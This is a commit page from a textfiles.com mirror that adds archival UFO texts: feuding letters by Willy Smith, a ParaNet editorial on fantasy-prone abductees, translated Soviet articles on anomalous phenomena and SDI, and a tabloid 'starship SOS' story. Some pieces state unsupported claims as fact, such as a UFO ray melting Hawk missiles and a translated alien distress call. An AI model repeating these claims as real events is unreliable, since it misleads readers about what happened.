info/mirror-textfiles.com
1
0
Fork 0
mirror of https://github.com/opsxcq/mirror-textfiles.com.git synced 2025-08-06 13:06:50 +02:00
Code Issues Releases Wiki Activity

update

Browse Source
This commit is contained in:
OPSXCQ
2018-03-14 02:08:03 -03:00
parent 8617687376
commit 00facd2183
205 changed files with 66592 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

54
textfiles.com/ufo/smith3let.ufo Normal file
View File

@@ -0,0 +1,54 @@
======================================================================
Note: The following was sent to UFONET I by Dr. Willy Smith.
======================================================================
Dr. Willy Smith
UNICAT PROJECT
1200 Murcott Ct.
Longwood, FL 32779
August 21, 1989
Dr. Bruce Maccabee
10706 Meadowhill Rd.
Silver Spring, MD 20901
Dear Bruce:
You have used a copy of the photograph of a girl showing an
anomalous image in a videotape that you are distributing among
the proponents of the Gulf Breeze affair and that have been
sold to other interested parties.
Please be advised that said photograph and its derivatives have
been copyrighted by the UNICAT Project, and that its use without
previous authorization is in violation of the copyright law.
Following the advise (sic) of my attorney, I am writing to you
to request the complete list of the recipients of your video
production.
The photo is identified by the mark "Photo 22" and my records
show that it was send (sic) confidence to Mr. Richard Hall in
January, 1989. In order to determine if a breach of trust has
occurred, I would like to have you version of how you obtained
those photos.
The videotape that you have produced is not a scientific analysis
of the photos based on the facts, but a propaganda attempt to
discredit what you correctly perceive as a serious threat to the
validity of the Gulf Breeze alledged UFOs. I understand your
motivations, but I can't condone your systematic distortion of
the truth.
c.c. Richard Hall
Zan Overall
Walt Andrus


69
textfiles.com/ufo/smith4let.ufo Normal file
View File

@@ -0,0 +1,69 @@
======================================================================
Note: The following was sent to UFONET I by Dr. Willy Smith.
======================================================================
OPEN LETTER TO JERRY CLARK
Dear Jerry Clark:
I have received from several UNICAT associates a copy of your opus
magnum THE SMITH PRINCIPLE. To paraphrase and immortal line: "The
'gentleman' doth protest too much, methinks." Here is why.
(1) Whoa! I must have touched a raw nerve to rate such a
lengthy and passionate reply! Or perhaps, as Michel (sic) Corbin
and others have put it, I might be on target. Remember, you are not
supposed to be emotional; that is my province, according to you. At
any rate, words can't describe the satisfaction that you have given
me with your piece, for which I thank you. I hope you will find a
place to publish it (other than the IUR).
(2) While I regret that you did not have the integrity
(others would have say manhood) to send me directly a copy of your
paper, I must admit that I was also pleased by your pusillanimity.
(3) You can't really expect that I will release confidential
correspondence from Dr. Hynek just to make a point, do you? But
maybe you do.
(4) Sorry for calling you a "weekend ufologist". Mea culpa!
I didn't know your fortunes had improved enough to obviate the need
for honest renumerated work, and I will refer to you from now on as
the "pseudo-ufologist", unless you tell me otherwise. What about
that?
(5) Your statements about Fuller et al, are foolhardy, as
documented evidence exists that the anti-UNICAT article was
solicited more than a year ago by you. For which I thank you, as
it has made me many friends around the world. I assume that you
have seen the many versions published abroad (sorry, I forgot that
you know only English!).
(6) My legal advisers have told me that your statement,
"...has consistently misrepresented his educational background..."
besides being false, is libelous and actionable. But don't fret,
Jerome! I know that education --- specially others' --- has always
been a sore point with you, and I have no intention of hurting you,
as you are such a source of fun! Besides, it would be a pyrrhic
(consult dictionary if in doubt) victory, because you have no
visible resources to pay if I were to obtain a judgement -- a rather
easy thing, since your source is very likely a well-known forger
of signatures and other things.
Do me a favour: please do NOT reply to this open letter.
And when you feel the urge to write against me, or UNICAT, or
Dr. Hynek once again (perhaps the next full moon, or when you have
a new row with wife Nancy) be more manly and mail me a copy. OK?
Dr. Willy Smith
UNICAT Project
September 1, 1989
27/235


116
textfiles.com/ufo/snobs.ufo Normal file
View File

@@ -0,0 +1,116 @@
PARANET EDITORIAL: THE SNOBS AMONG US
by Jim Speiser
As I have stated before on many occasions, the idea that abduction
experiences represent objectively real encounters with extraterrestrials
represents an hypothesis, one that must be evaluated and weighed against
other hypotheses or alternative "explanations." In terms of true scientif-
ic objectivity, no one hypothesis has any more weight than any other un-
less it can be shown to be more consistent with our knowledge and with all
the pertinent facts. A psychological explanation is no more valid than any
other simply by virtue of having been proposed by a more mainstream psych-
ologist; it must prove itself on the weight of the evidence. Occam's ra-
zor, however, dictates that more mundane, less extravagant explanations
must be evaluated and discarded before we can fully accept the more outre'
scenarios into the hallowed halls of "knowledge." You have to start some-
where.
Abduction specialists such as Budd Hopkins have long paid much lip-
service to their efforts to investigate the more subjective explanations
such as delusion or fantasy, and so I am curious as to how he and they
will react to the article in the Winter 1987/88 edition of the Skeptical
Inquirer, entitled "The Aliens Among Us: Hypnotic Regression Revisited,"
by University of Kentucky psychologist Robert A. Baker. While the article
is flawed in many respects, it compensates by offering the hypothesis
outlined in the following extract:
<<
If these abductees were given...intensive diagnostic testing it
is highly likely that many similarities would emerge--particularly
an unusual personality pattern that Wilson and Barber (1983) have
categorized as "fantasy-prone." In an important but much neglected
article, they report in some detail their discovery of a group of
excellent hypnotic subjects with unusual fantasy abilities. In their
words:
Although this study provided a broader understanding of the kind
of life experiences that may underlie the ability to be an ex-
cellent hypnotic subject, it has also led to a serendipitous
finding that has wide implications for all of psychology -- it
has shown that there exists a small group of individuals (pos-
sibly 4% of the population) who fantasize a large part of the
time, who typically "see," "hear," "smell," and "touch" and
fully experience what they fantasize; and who can be labeled
fantasy-prone personalities.
<< Wilson and Barber also stress that such individuals experience a
reduction in orientation to time, place, and person that is charac-
teristic of hypnosis or trance during their daily lives whenever
they are deeply involved in a fantasy. They also have experiences
during their daily ongoing lives that resemble the classical hypno-
tic phenomena. In other words, the behavior we would normally call
"hypnotic" is exhibited by these fantasy-prone types (FPs) all the
time. In Wilson and Barber's words: "When we give them 'hypnotic
suggestions,' such as for visual and auditory hallucinations, nega-
tive hallucinations, age regression, limb rigidity, anesthesia, and
sensory hallucinations, we are asking them to do for us the kind of
thing they can do independently of us in their daily lives."
<< The reason we do not run into these types more often is that
they have learned long ago to be highly secretive and private about
their fantasy lives. Whenever the FPs do encounter a hypnosis situa-
tion it provides them with a social situation in which they are en-
couraged to do, and are rewarded for doing, what they usually do on-
ly in secrecy and in private. Wilson and Barber also emphasize that
regression and the reliving of previous experiences is something
that virtually all the FPs do naturally in their daily lives. When
they recall the past, they relive it to a surprisingly vivid extent,
and they all have vivid memories of their experiences extending back
to their early years.
>>
While there are many aspects of the abduction syndrome left unex-
plained by this scenario, it appears to be a description of a personality
type that is consistent with some of the more famous "abductees," such as
Whitley Streiber. While researching his two books, Budd Hopkins retained
the expertise of psychologist Aphrodite Clamar, who administered psycho-
logical evaluation tests to nine abduction percipients, all of whom proved
to be normal, sane individuals. The point Baker makes, however, is that
these FPs ARE ALSO SANE, and would no doubt pass such a test. He further
claims that there are more stringent tests designed to weed out such FPs,
and I maintain that, in the interest of true scientific objectivity, it is
incumbent upon researchers such as Hopkins to arrange to have such a test
administered to another group of abduction claimants. We have been provid-
ed with an earthly alternative; we owe it to the public, to the skeptics,
to other researchers, and to the claimants themselves (who Hopkins claims
are actually quite fearful of the ETH) to investigate fully this new pos-
sibility.
There is another, admittedly more selfish and spiteful reason to
objectively evaluate the "FPH." Baker, typical of many CSICOP "hit-men,"
has succumbed to snobbery and unabashedly claims the intellectual high
ground in his article. He was doing just fine until his "Consequences and
Summary" section. Some quotes typify his attitude: "Need we be concerned
about an invasion of little gray kidnappers? Amused, yes. Concerned, no."
"Should we take Streiber, Hopkins, Kinder, et al. seriously? Not really."
"Tolerance IS the mark of a civilized mind." Well, BLESS you, Prof. Baker.
You seem to forget, however, that YOUR hypothesis has not been tested,
either, and consequently you have as yet no legitimate claim to being
"right." And as I stated before, your article is flawed. It doesn't take
into account the physical evidence, such as scarring, landing traces, and
"exoglyphic exemplars." It relies heavily on generalizations and quoting
of previous studies which only tangentially impact the abduction scenario.
And it weakly waves off the marked similarities between abduction ac-
counts.
If testing of the FPH should provide a clear indication that a psych-
ological explanation is warranted, I fully expect abduction researchers to
acknowledge that their hypothesizing of alien intervention stands on weak-
ened legs. If, however, the results of such testing show no such correla-
tion, I would appreciate it if Prof. Baker and other debunkers would
propose solutions in a more detached, even-handed, level-headed manner
more becoming of the TRULY civilized. Failing this, I would appreciate it
if they would kindly shutup.


411
textfiles.com/ufo/sotsiali.txt Normal file
View File

@@ -0,0 +1,411 @@
==========================================================================
CUFON Note: This file contains the text of a release letter and a document
released 14 March 1994 by the United States Air Force (USAF) Air Intelligence
Agency to Mr. Dale Goudie, Director of the UFO Reporting and Information
service and CUFON Information Director. The document is apparently the text
of a booklet produced by the magazine "Sotsialisticheskaya Industriya":
---------------
RELEASABLE ONLY BY CONTROLLING ACTIVITY
Controlling Activity: Commander
National Air Intelligence Center
Wright-Patterson AFB
Document; AD B073127L
Title: UFO Identification
Personal Author; Lynev, R.
Report Date: 4 Mar 83
Originating Agency: Foreign Technology Division,
Wright-Patterson AFB, OH
---------------
The document is not actually dated within the text but the National Air
Intelligence Center document date is 1983. This is 14 years _after_ the USAF
says it got out of the UFO business when Project Bluebook closed in 1969.
No information about which agency collected the information or who translated
it into english is given. It is interesting to note that text of a public
(in the USSR) magazine article would be classified and remain restricted now,
11 years later... and be held by Foreign Technology Division, Wright-
Patterson Air Force base: the former home of Project Blue Book.
Please note that items in [ ] brackets seem to be translators explantory
notes. I suspect that the item which reads "[casus]" was intended to be
"[causes]". There are several mispellings, I have endevored to allow these
to remain as received.
- Jim Klotz CUFON SYSOP -
==========================================================================
DEPARTMENT OF THE AIR FORCE
AIR INTELLIGENCE AGENCY
14 March 1994
Mr. Dale Goudie
Dear Mr. Goudie
Attached is the document you requested in your letter dated
January 13, 1994, to the Defense Technical Information Center
(DTIC). DTIC forwarded your request to us on 28 Feb 1994, and
was received by us on 4 March 1994. You requested copies of
records relating to a subject which has been referred to by
many terms over the years as shown by the thousands of pages
of declassified released government documents. The most
common term is "Unidentified Flying Objects." Others, but not
all, are: "UFO's," "UFOBs," "unidentified aerial phenomena,"
"flying disks," "flying saucers," "unauthorized aerial
objects," "anomalous lights," "uncorrelated targets,"
"unidentified aircraft," and "fastwalkers."
DTIC conducted a search and found the attached document. Your
request was processed in the all others category. Fees were
waived due to the amount being less than $15.00.
Sincerely
/s/
JAMES E. MILLER, JR., Colonel, USAF
Commander
Attachment :
Releasable Document
"Freedom Through Vigilance"
==========================================================================
UFO IDENTIFICATION
Answers to the questions of our readers
Dear editorial staff.
On the 30 of June of this year your newspaper contained an article under
the heading "Where Do Flying Saucers Come From." In it the entire problem of
unidentified flying objects is reduced to a number of amusing incidents. I
do not share the enthusiastic certainty of those who believe that from time
to time beings from other planets come in contact with us. However, at the
same time, I am firmly convinced that a serious and devoted study of UFO's
can broaden the horizons of our knowledge of nature. What is the opinion of
scientists on this subject?
A. Khodyrev, Moscow.
There will be no sensations - I was convinced of that on my way to a
meeting with a doctor of chemical sciences, Professor M. Dmitriyev at the
Institute of general and Communal Hygiene im. A. N. Sysin. However, the
scientist chose to begin our conversation precisely with the sensation
pertaining to still the same NLO [UFO's] - unidentified flying objects. he
reached for a foreign magazine published in Russian language and showed me
the following report.
According to the story of a certain farmer, he was travelling through the
forest in his cart when he saw two individuals walking. They were not over a
meter and a half in height, dressed in narrow, black, tight-fitting overalls
resembling astronaut suits, and their faces and hands were green. The
striking feature of these individuals were their elongated eyes, which were
somewhat off to the sides of the face, and sharp cheekbones. They jumped
into the cart and after several dozen meters motioned the farmer to stop not
too far from a machine suspended
1
=======================================================================
above the ground and ordered him ( again by gestures) to undress. When he
had done this, they "examined" or "photographed" him with a certain camera,
which looked like two saucers. After that they motioned to him that he was
free to go.
Having returned home, the farmer told his relatives what happened to him,
but when the villagers arrived at the spot they saw only trampled grass,
prints of strange footware, and other signs which seemed to support that
someone was here indeed. At about the same time, at a distance of about 700
meters from this clearing, a six-year old boy, who was playing in the yard,
saw, as he told, a strange "airplane" flying very low to the ground with a
pilot, who had a green face.
The author of this report is a scientist. He writes that the eyewitnesses
were examined medically, even a psygalvanometer was used which is the "most
sensitive part of a lie detector." Conclusions? "... The possibility of
encounters with UFO's, no matter how strange they may seem, cannot be
discounted."
"What do you think about this?", asked the professor.
I shrugged my shoulders. Undoubtedly the reader would be interested much
more in what he thinks, a specialist, and not I. But since the question was
posed to me I replied that I have never considered, and do not consider, the
problem of "flying saucers" more important than all others. I consider the
passion shown to this subject and the stir created by the given "lectures" to
be interesting, first of all, as a purely psychological phenomenon. And, in
general, it is understandable. In the past people believed in a wood-goblin
[Russ. myth.], while today it is science fiction - and the scientists
themselves have conceived such "modern" hypotheses that to compare the fairy
tales about the wood-goblin is like comparing the hoe to a jet liner.
This science-fiction boom has left a noticeable mark in the consciousness
of some people. It is indeed this boom that produced quite a number of
interesting ideas, expanded the inner world of man, and gave a new meaning to
the world around us. But, alas, science fiction also has its own letdowns,
dead-ends, and repetitions. They are not drawn into literature and the
science does not accept them also. And so they, these myths of the UFO era,
get trapped in the consciousness instead of the previous wood-goblins. house
spirits, and saints -"a holy place is never empty" [a literal translation of
a proverb.
2
=======================================================================
Some of us let in the "new tenants" more readily, when those who conceived
them act, shall we say, in the spirit of the age - making their claims in the
name of science and attempt to interpret to intercept the mysteries, which
have not ben studied sufficiently yet by science.
Professor M. Dmitriyev is one of those who has introduced a stream of
health scepticism into the "saucer" problem. I found out about his theory
two years ago. the essence of his theory is in the fact that a number of
unusual phenomena, including ball lightning, "flying saucers," Petrozavodsk
phenomenon, the riddle of the "Bermuda Triangle," the mystery of the Tunguska
Explosion, and others, which were caused not by beings from other planets
visiting the Earth but by natural causes. Substances accumulate in the
various areas of the atmosphere which are capable of reacting with one
another; the onset and the course of these reactions can be affected by solar
rays, hard cosmic radiation, ordinary lightning, and aerosols.
Depending on the nature of the process taking place in them, these natural
formations (I would like to call them "reactors") can believe differently -
they can either hang motionless, or "pursue" an airplane, repeating all its
motions precisely, or, similar to landmines, perform abrupt jumps. this is
usually accompanied by the effect that is known to all - luminescence of the
substances that have entered the reaction
- chemiluminescence. If the energy in such formations is low, they may go
unnoticed by a person - only the radar screens will show unexpected flashes.
But the energy clusters can be enormous, and then this is frought with
catastrophes of the type that occurred at Tunguska.
Such is the theory, and it is supported by the experiments and
calculations in many respects. But still, there you are - another story
about green beings from other planets. Did the professor decide to play my
role?
"No," he said, "to show an example of how people depart from the urgent
problems to the pseudoproblems, to 'ufology'." (UFO - the initial letters of
the English equivalent of our NLO).
"In your opinion, what constitutes the urgency of the problem of
anomalous atmospheric phenomena?"
"First, the study of the mechanism of these phenomena is of great
scientific significance. Second, we the scientists are obligated to
3
=======================================================================
give recommendations concerning the means of protection ...."
"Protection?"
"Of course. Several years ago, for example, ball lightning got into
naphthalene storage at the Makeyevskiy by-product coke plant, resulting in a
considerable loss. the papers described a case, which was investigated by us
especially, when a group of mountain climbers was struck by a ball lightning.
There are known cases of cattle being injured. the usual lightning-
protection devices are ineffective in this case. Finally, we now have a
sufficient amount of data to start talking about the practical application of
this phenomenon in national economy."
"You don't say?"
"Yes. Frequently, the energy concentrated in certain anomalous
formations reaches 10^10 Joules. It can be uses quite efficiently for, let
us say, digging tunnels through mountains. Another area that shows promise
is in the obtaining of nitrogen compounds so badly needed for the production
of valuable fertilizers."
"In short, the problem is urgent indeed. But what about contacts with
other worlds? Is it realistic or not?"
"You see, I am not a supporter of the hypothesis that life on our Earth
is unique. But contacts with other worlds... Of the ten thousand (!) cases
studied by us over a period of twenty years, not one of them gave us grounds
to assert that someone has visited our planet."
"But how are we to deal with the green-faced beings described in the
article you gave to read? Even a lie detector was used...."
"The selection of an instrument depends on what one plans to
investigate," smiled professor. "Let us recall - haven't there been quite a
number of cases in the history of religion when the virgin or saints appeared
to people. I am convinced that anyone who had such a vision would have
confirmed its validity both by swearing and by a lie detector. We, however,
examine this material evidence in our laboratory left by the anomalous
phenomena on soil, water, in the air, and on the negatives. We have a number
of instruments for such investigations, both those built by us - we have the
certificates of invention - and other well-known devices; for example,
scintillating mass-spectrometer. On the basis of color, intensity, and
nature of luminescence we can determine what substances take part in a
reaction. We have
4
=======================================================================
learned to recreate and study certain events in the laboratory, if we cannot
observe them in nature. We go on the premise that a visit, even if it is just
by us, from other planets would certainly have given us if only insignificant
but a material piece of evidence - just a dust particle, just a short radio
signal. But so far, I repeat, there are no such pieces of evidence, while
those available to us have a totally different property. It is this evidence
that we are studying...."
The professor offered me another article to read. It was his article
written with other specialists and published in the Journal of Technical
Physics. It goes on to say:
"On the 24th of August of 1978, at 2320 hours, in the vicinity of the
Khasanovskaya Sreet in Khabarovsk, during a heavy downpour... all of a
sudden, people heard a sharp whistle that sounded like a jet engine that was
accompanied by loud cracking. It became light as day. Then a ball lightning,
bright orange in color, appeared over the movie theater "Zarya." It was
showering sparks. Then the ball began to descend, reached the ground through
the trees, flashed for an instant above a certain spot and then rose again.
there was a huge explosion, after which it became dark and quiet. The entire
process took about one minute. There were many eyewitnesses to this event.
Electrical wiring was out of commission over a distance of 100 m. Despite
the large amount of water on the ground and the downpour, the soil was
charred and melted over an area 1.5 m in diameter and 20-25 cm deep. The
total volume of the area filled with slag was 0.4 cubic meters...."
What follows were accurately recorded technical details - description of
the slag, dimensions of its lumps, their photographs, radiometry data, which
were verified at the NII of nuclear physics of the NGU [Moscow State
University]. However that is not all. The article goes on to say that this
phenomenon was repeated in the laboratory, the energy of the flash was
calculated, and the temperature estimated -it was hot enough to melt quartz.
Let us note: there is not a single word about the material details in the
foreign press concerning the beings from outer space. The assumption of
UFO's is based wholly on personal stories! And another difference. Even
though there is a mass of the most fine details in the Khabarovsk version,
the conclusion based on these details is made
5
=======================================================================
with much reservation - it is possible to assume that the most probable
mechanism of ball lightning is connected with a powerful high-frequency
magnetic radiation in a certain frequency range at a certain wavelength.
"The discussion of the problem, which is devoid of material evidence,"
says Dmitriyev, "would resemble a religious gathering, where everything
revolves around the question 'to believe or not to believe'." Let us offer
such arguments to the 'ufologists'. One of them, incidentally, reproached me
openly in the press for my scientific interests being 'earthbound', for my
disbelief in the meeting that will soon take place between the brothers of
intellect...."
Professor sighed - "I am concerned by the approach of some of our other
scientists to this problem. In the opinion of some, we are studying not
actual events but who knows what. This is a direct negation of the problem.
There is also an indirect negation - the attempts to reduce it to separate,
random, and odd events [casus] like concentration of insects, optical
illusions, and sounding balloons. Of course such events occur; however, it
is doubtful that the thousands of cases studied by us can be explained by
these events alone. And should one keep quite about the well-known facts?
At one time the Academy of Sciences had placed a ban on any mention of
meteorites, having declared them to be nonexistent'. But this did not stop
them from falling down to Earth. On the other hand, hushing up the problem
in order to reduce the amount of unhealthy speculations around it, usually,
produces the opposite effect. The people reason - there must be something to
it for them to keep it from us. Thus, another impetus is created for one to
get carried away by 'ufology'. It is annoying to see some of our
publications show such a guarded attitude not only to this problem but also
to the attempts to rebut it on the basis of scientific and materialistic
positions.
The UFO problem is also suffering from another aspect. It originated at
the junction point of sciences. And how they 'interface' and interact is
also a question.
For instance, it is known that along with the theory of
chemiluminescence, recently another theory was proposed by a professor of the
Oceanology Institute, G. Barenblat and A. Monin, director of the institute
while back it was being discussed in the 'Izvestiya'. The crux
6
=======================================================================
of this theory is that the 'saucer-like formations' are unique aerial
'spinning tops', which can serve as traps for aerosols.
M. Dmitriyev, who keeps a close watch on everything relative to this
problem, also knowns about this turbulent theory. Why not surmise that the
oceanologists are examining not the electrical and chemical aspects, just as
he, but the aerodynamic aspect of the same phenomenon? How is one to know,
perhaps this 'aerial top' is that 'pot', where the nature cooks the mixtures
of the toxic effect that could be the reason for the misfortunes in the
'Bermuda Triangle'? And perhaps such a top produces the danger of an
explosion of the type that occurred at Tungaskaya (the result of which, M.
Dmitriyev is convinced, was the fallout of the biologically active nitrous
compounds that fertilized the soil and thus caused the 'acceleration' of
pines)?
Having prepared these and other questions, I visit the Oceanology
Institute to see G. Barenblat. And what do I discover? They heard neither of
Dmitriyev nor his theory. this is very strange, because his work is known,
and not only in this country. For example, a respectable monograph of D.
Barri published recently in New York on "Ball and Beaded Lightning' ('On the
Extreme Effects of the Atmospheric Electricity). The bibliography of this
work has over one hundred and eighty names. more numerous are the works
written by Academician P. Kapits and M. Dmitriyev, while there is not a
single reference made to the work done by the oceanologists. I tell them
this not all in reproach. Still I would like to ask them - how can one work
on a problem without first finding out what was done in this area and by whom
in the past?
There is another known direction in which investigations are being
conducted. It is represented in the booklet published by the Space Research
Institute, AS USSR - 'Observations of Anomalous Atmospheric Phenomena in the
USSR', conducted by L. Grindilis, D. Men'kov, and I. Petrovskaya. this work
deals not with the problem itself but rather the approaches to it. It
presents a statistical analysis of several hundred testimonies given by
eyewitnesses. Only testimony without any references to material 'evidence'.
Neither do the authors make any attempts to explain the nature of this
phenomenon. Consequently, everyone reading this booklet is free to render
his own interpretation of the material written.
7
=======================================================================
Finally, there is one more point of view of this problem. It can be
termed philological. It is presented clearly, for example, in one of the
recent issues of the popular magazine 'Tekhnika - Molodezhi', where the
opinions of V. Vilinbakhov, candidate of historical sciences, and I.
Lisevich, doctor of philosophical sciences, are presented along with
interesting material on ball lightning. Both authors review the myths held
by the peoples of this world which, in one way or another, deal with the
strangers from the sky. the articles of these authors do not assert that our
planet was visited by beings from the outer space but pose a question - what
was the real basis for the creation of these myths?
In short, different opinions regarding this problem are being developed
independently of one another, without contacts and discussions, which are so
necessary for scientific knowledge.
And here is another thing. Letters from all parts of the country arrive
at the Institute of General and Communal Hygiene almost every day. Voluntary
helpers communicate to the scientists as to where, when, and under what
circumstances they witnessed the anomalous atmospheric phenomena. I read:
"A glowing hemisphere was travelling fast across the sky to the east at an
altitude of 3.5 thousand meters." "....After the sphere exploded there was a
strong odor of sulphur, as though a whole box of matches was burned."
It can be seen from many letters that its authors are not inclined to
relate what they have seen as the ultimate truth but they hope that their
evidence will help th scientists to find it.
What is 'unhealthy' in this interest? I do not understand.
R. Lynev, scientific
reviewer of the
"Sotsialisticheskaya Industriya".
8
=======================================================================
=======================================================================
---------------------------
C U F O N
---------------------------
Computer UFO Network
Seattle Washington, USA
(206) 776-0382 8 Data Bits, No Parity, 1 Stop Bit
v.32bis, v.42bis, MNP4, MNP5
SYSOP - Jim Klotz Information Director - Dale Goudie
UFO Reporting and Information Service
Voice Line - (206) 721-5035
P.O.Box 832, Mercer Island, WA 98040, USA
- Please credit CUFON as the source of this material -
============================================================================

196
textfiles.com/ufo/soviet1.ufo Normal file
View File

@@ -0,0 +1,196 @@
======================================================================
<<UFONET I>> * 416-237-1204 * PC-Pursuitable * File Requestable * HST
* 24 Hour Operation * Sysop - Tom Mickus * Toronto * FREE
======================================================================
======================================================================
SOVIET1.TXT - "UFOs And Security"
- by Alexsandr Kuzovkin and Alexsandr Semyonov
======================================================================
Note: The following article was excerpted from the No.6, June, 1989
issue of "Soviet Military Review", which along with English is
translated into about a dozen other languages.
- Tom Mickus 11/20/89
======================================================================
UFOs AND SECURITY
-----------------
DEAR EDITORS, I HAVE READ MANY ITEMS ABOUT UFOS IN THE PRESS.
DO THEY REALLY EXIST? IF SO, ARE THEY A DIRECT THREAT TO PEACE ON
EARTH? WHAT HAS SCIENCE TO SAY ON THIS SCORE?
-Benjamin S. Mapurisa
ZIMBABWE
Since 1947, when American citizen Kenneth Arnold saw from his
plane strange glimmering objects in the mountains, the world has been
talking about Unidentified Flying Objects (UFOs). The appearance of
UFOs is from time to time reported in newspapers and magazines, radio
and television. They are all analysed by scientists.
On August 25, 1966 a USAF officer working on Minuteman missile
in North Dakota saw that his radio had stopped functioning. He was 18
metres down in the concrete silo. The ground crew reported that they
saw a UFO which was alternately descended and climbed and interference
disappeared. And then it started to land. When a group of soldiers
dispatched to the landing site 16 kilometres from the silo, interference
broke its radio contact with command. It was suggested that during the
1966-1967 period of UFO activity, the UFOs visited also the Titan silos.
Experts were concerned over their electromagnetic effects, that might b
capable of influencing the electric equipment of combat missiles.
In the autumn of 1974, a metal disk some 100 metres across
approached a South Korean anti-aircraft shore battery. The commander
launched a Hawk guided missile which was immediately shot down by a
"white ray" from the UFO. The second ray was directed at the battery,
melting the remaining two Hawk missiles into an unrecognisable mass.
The investigation of the UFO problem was launched in the US by
the military. In 1974, (sic) on orders from the Air Force commander,
they started Project Sign. The Air Technical Intelligence Centre was
responsible for research. Back in February 1953, head of the anti-
aircraft committee of the continent General Benjamin Chidlow stated:
"We have a great mass of reports about flying saucers. We regard this
very seriously, because we have lost many people and many aircraft which
have attempted to attack UFOs."
Project Sign was subsequently renamed Grudge and then Fang. But
it is better known under the name Project Blue Book.
In 1954 the French Ministry of the Armed Forces established a
department to collect information about UFOs. In 1977 the French
National Space Research Centre created a group of experts to study
unidentified aerospace phenomenon, GEPAN.
In 1960-1970, public organisations studying UFOs mushroomed
throughout the world, notably in Bulgaria, Denmark, West Germany and
Mexico. Later UFO fever spread to Canada, Britain, Japan, China and
other countries.
In the autumn of 1978, the First Committee of the 33rd UN
General Assembly discussed the question of launching international UFO
research. The discussion was based on ICUFON Memorandum, a public US
organisation studying UFOs. It provided a wealth of information on
the military-technical and military-political aspect of the problem.
Afterwards, though, information on UFO research in the West dwindled.
The press published only distorted and superficial information about
UFOs. At that time, the US launched the Strategic Defence Initiative
(SDI).
The study of UFOs in the Soviet Union started in 1958 by a group
of enthusiasts led by Feliks Zigel, assistant professor at the Moscow
Aviation Institute and the founder of UFOlogy in the Soviet Union. In
the mid-1970s, information about UFOs was collected by the Institute of
Earth Magnetism, Ionosphere and Radio Waves, led by Vladimir Migulin,
corresponding member of the USSR Academy of Sciences. In 1984, a
commission to study anomalous phenomena, led by Vsevolod Troitsky,
corresponding member of the USSR Academy of Sciences, was established
at the national scientific and technological society of nature protection.
In April last year, Tomsk hosted a conference on sporadic instant
phenomena, which rallied more than 300 scientists and experts from major
scientific centres of the Soviet Union. The conference recommended that
the Siberian branch of the USSR Academy of Sciences draft a comphrehensive
programme for the study of the problem.
Many Soviet and foreign scientists tried to present the UFO
phenomenon as a natural thing, such as optical atmospheric effects,
flocks of birds, rare astronomical phenomena, meteorites, luminous
insects, frauds, weather balloons, aircraft, missle launches, streams
of space particles, clusters of light, ball lightning, luminous pollutants,
Polar lights, etc.
According to the USSR Academy of Sciences, some 90-95% of UFO
reports are a result of such causes or a combination of them. But the
remaining share constitutes tens of thousands of unexplained phenomena.
The main "positive" version have been the idea of extra-terrestrials.
Despite its great popularity, it has not been unequivocally supported
by scientists. The most promising today is the idea of the plasma origin
of the UFO phenomenon. In 1984, scientists Aleksei Dmitriyev and Viktor
Zhuravlyov from Novosibirsk advanced a theory of the plasma origin of
the Tungus phenomenon. As is known, the culmination of that unique event
in Siberia in 1908 was a 40-megaton air explosion. There are reasons to
believe that the Tungus phenomenon and UFOs have a common origin.
We believe that so far the study of UFOs has not paid due heed to
some specific features, as well as the mechanism of human perception of
the world around us. Frequency parameters of UFOs and the limited speed
of processing information in the eye-brain system breed so-called
metaphoric deformities. Eye-witnesses see not the object itself but
their own individual or accepted idea of it.
Proof of this is the historical mimicry of UFOs' outlook and
special photographing. Research by foreign and Soviet experts show
that there are, in the atmosphere and at the Earth's surface, certain
plasma formations, different in form, size, colour and frequency. Most
often, they are registered in the ultraviolet part of the spectre. These
unseen formations, which, however, can be felt, often appear to act
systematically and even "reasonably."
Successful study of UFOs is impossible without considerable
expansion of our views of the world. The idea of a multi-dimensional
and multi-layered Universe, parallel or intertwined physical worlds
were voiced by major scientists, notably Paul Ehrenfest, Konstantin
Tsiolkovski, Aleksandr Friedman, Anatoly Logunov, and Dmitry Blokhintsev.
Materialising the principles of the new political thinking, the
Soviet Union is actively working for universal security and disarmament.
Against this background, the world public cannot but be worried by the
US carrying on with the SDI programme. This ballistic missile defence
is designed to control outer space and destroy near-earth, air and space
targets. Any system can be effective only if it is managed by super-quick
computer systems. It is most important here to correctly identify
targets. So, corresponding computer cells must "know" what signal
characteristics of the object it is tracking can make it a potential
target.
We believe that lack of information on the characteristics and
influence of UFOs increase the threat of incorrect identification. Then
mass transition of UFOs along trajectories close to those of combat
missiles could be regarded by computers as an attack.
In the autumn of 1960, all bombers at the Trevis Air Force base
in the United States were put on red alert for an attack against the
Soviet Union after the base radars detected "targets" flying via the
North Pole to the US territory. Suddenly the "targets" disappeared
from the screen, and were later explained as "radar reflections of the
Moon."
In SDI conditions such incidents could provoke immediate reaction
from computers to destroy the "targets," say, by an X-ray laser, which
means a powerful nuclear explosion. Or SDI computers could order a
counter-attack, which might prove unwarranted. It should be remembered
that decisions will be taken not by people but by impartial computers
which "know nothing of UFOs." There would be no time to determine the
cause of the conflict then, but those who are creating SDI should think
about it now.
The UFO problem remains unsolved. It is difficult to predict what
would have happened if an incident similar to the Tungus one happened in
Europe, America or any other region of local conflicts. Back in 1968,
Feliks Zigel, the main Soviet researcher of the problem, said: "The
subject and aims of UFO research are sufficiently important to justify
any effort. Understandably, international cooperation is vitally needed
here."
===================================== EOF ===================================
=============================================================================
= IF YOU HAVE ANY UFO RELATED INFORMATION THAT YOU WOULD LIKE US TO SEE =
= OR HAVE DISTRIBUTED, YOU CAN NOW SEND IT VIA OUR NEW UFONET FAX LINE. =
=============================================================================
= ------>>> UFONET FAX HOTLINE - 24 Hrs - (414) 351-2075 <<<------ =
=============================================================================


1327
textfiles.com/ufo/spacecon.txt Normal file
View File

File diff suppressed because it is too large Load Diff

49
textfiles.com/ufo/spacesos Normal file
View File

@@ -0,0 +1,49 @@
STARSHIP'S SOS STUNS SCIENTISTS
In one of the most super secrets in history, a joint Soviet-American
scientist team is studying a mysterious radio signal from outer space - a
distress call sent from a planet or starship 50,000 yrs. ago.
"This is a stunning breakthrough. Our computers have actually translated a
major portion of the radio signal," said one U.S. astronomer who discussed the
research with a French freelance news service on the condition that he not be
identified.
Portions of the amazing message were put together in a reasonably accurate
form by the team in April, but have not been published.
"GUIDE US TO FOURTH UNIVERSE. EXPLOSION. WE ARE IN PERIL. WE ARE IN TIME
117.098 IN 12th GALAXY," was the frantic message.
